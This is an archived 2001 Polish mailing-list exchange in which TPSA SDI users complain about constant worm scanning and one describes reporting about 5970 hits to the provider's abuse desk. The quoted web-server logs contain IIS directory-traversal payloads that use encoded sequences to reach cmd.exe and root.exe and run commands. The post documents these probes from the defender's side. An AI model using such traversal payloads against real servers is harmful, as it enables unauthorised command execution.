Autor: Marcin Jurczuk (spock_at_OpenBSD.tkb.pl)
Data: Mon 24 Sep 2001 - 12:35:40 MET DST
On Sun, 23 Sep 2001 23:19:08 +0200, Rad3k <radoslawusCUTITOUT_at_kki.net.pl> wrote:
>
>> Tylko u mnie tak jest czy u wszystkich na SDI?
> przynajmniej cale 213.25.x.x
>
> TEPSA powinna blokowac 80ke wszystkim takim baranom;
>
> 213.25.X.X - - [23/Sep/2001:22:52:37 +0200] "GET /scripts/root.exe?/c+dir
> HTTP/1.0" 404 276
> 213.25.X.X - - [23/Sep/2001:22:52:38 +0200] "GET /MSADC/root.exe?/c+dir
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
> 213.25.X.X - - [23/Sep/2001:22:54:35 +0200] "GET
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
> 213.25.X.X - - [23/Sep/2001:22:54:38 +0200] "GET
> /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 297
>
> i tak non stop od kolejnych specjalistow, ja sie nie dziwie ten shitowy
> polpak nie daje rady :(
Ja nie wyrobilem jak mialem na SDi w domu w ciagu 7 dni 5970 odwolan.
Posortowalem po IP i liczbie odwolan i wyslalem do abuse_at_...
Jakies polowa z tego to SDI....a reszta to rozne ale zdazaly sie nawet
serewry z klas do wewnetrzengo uzytku TPSA :_))
Pozdr.
-- Marcin 'Spock' Jurczuk spock_at_OpenBSD.tkb.pl
To archiwum zostało wygenerowane przez hypermail 2.1.7 : Wed 19 May 2004 - 17:02:04 MET DST